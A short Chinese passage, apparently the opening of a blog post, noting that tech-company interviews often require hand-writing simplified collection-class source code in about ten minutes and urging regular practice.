在目前&#xff0c;许多互联网公司的面试已经要求能手撕集合源码&#xff0c;集合源码本身算是源码里比较简单的一部分&#xff0c;但是要在面试极短的10来分钟内快速写出一个简易版的源码还是比较麻烦的&#xff0c;很容易出现各种小问题。所以在平时就要注重这方面的联系。 以…